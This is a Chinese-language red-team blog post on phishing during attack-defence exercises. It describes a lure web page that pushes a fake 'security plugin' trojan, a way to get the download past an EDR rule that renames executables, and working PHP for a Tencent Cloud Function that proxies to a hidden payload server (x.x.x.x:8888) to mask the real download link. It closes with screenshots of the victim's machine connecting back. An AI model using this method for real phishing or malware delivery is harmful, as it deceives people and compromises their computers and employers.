随着红蓝对抗演习的普及化,外网边界越来越坚固。所以近几年红蓝对抗演习中,网络钓鱼成为突破网络边界的一把利刃。但随着人员的安全意识也越来越高,钓鱼难度也越来越大。所以本文旨在探讨利用云函数等方法降低企业人员防范意识,实现钓鱼上线。
当我们利用互联网收集到相关人员联系方式,通过传统聊天的方式投递恶意木马时,即使通过话术忽悠相关人员下载压缩包,但是企业DER可能会配置相关规则,只要从社交聊天软件下载的压缩包中存在.exe后缀文件,会直接修改文件后缀,导致无法上线。结果如下图:
传统钓鱼方式无法上线,那么该如何突破EDR的这个规则呢?既然聊天软件下载行不通,那么如果让受害者通过浏览器下载压缩包并解压点击上线呢?这样EDR还会修改后缀吗?带着这些疑问,我们开始尝试。
这里先说一下大体思路:制作钓鱼页面=>受害者浏览=>弹框下载插件(恶意木马)=>受害者点击运行(上线)
首先第一步,制作钓鱼页面,制作一个精美的Web页面,降低受害者防范意识,这里制作的页面如下:
当输入密码点击解锁,会弹框,让受害者下载安全插件如下:
安全插件就是制作好的恶意木马如下:
流程可以跑通了,那么我们该如何隐藏真实的下载地址并增加受害者信任呢?这里我们可以借助腾讯云函数,具体操作如下:
<?php
function http_header_to_arr($header_list){
$header_arr = [];
foreach ($header_list as $key => $value){
if(strpos($value, ':') === false){
continue;
}
list($header_key, $header_value) = explode(":", $value, 2);
$header_arr[$header_key] = trim($header_value);
}
if(isset($header_arr['Content-MD5'])){
$header_arr['md5'] = bin2hex(base64_decode($header_arr['Content-MD5']));
}
return $header_arr;
}
function main_handler($event, $context) {
// 检查变量
// json_encode($event)
if ( !isset($event->path) || !isset($event->headers) ) {
return array(
'isBase64Encoded' => false,
'statusCode' => 500,
'headers' => array('Content-Type' => 'text/html; charset=utf-8'),
'body' => '!isset($event->path) || !isset($event->headers)'
);
}
// ----------
// 获取远程页面内容及返回的 HTTP 头信息
// 可以用子目录 /test,但是末尾不能有斜杠,会拼接成双斜杠 //,形成错误的路径,造成通讯失败!
// $url变量内容为真实下载地址路径
$url = 'http://x.x.x.x:8888/test' . $event->path;
$option = array('http' => array('header' => $event->headers));
$rbody = file_get_contents($url, false, stream_context_create($option));
$rheaders = $http_response_header;
if (preg_match('/(\d{3})/', $rheaders[0], $matches)) {
$rcode = intval($matches[0]);
} else {
$rcode = 200;
}
// ----------
// 输出页面内容
return array(
'isBase64Encoded' => true,
'statusCode' => $rcode,
'headers' => http_header_to_arr($rheaders), //array('Content-Type' => 'text/html; charset=utf-8')
'body' => base64_encode($rbody)
);
}
?>
添加受害人联系方式,构造相关话术,向其发送由腾讯云函数伪装后的下载链接如下:
受害者访问了链接,并下载运行了恶意木马如下:
受害者成功上线如下图:
本文对红蓝对抗中钓鱼场景进行了一些新探索,提供了一点新技巧,大佬勿喷。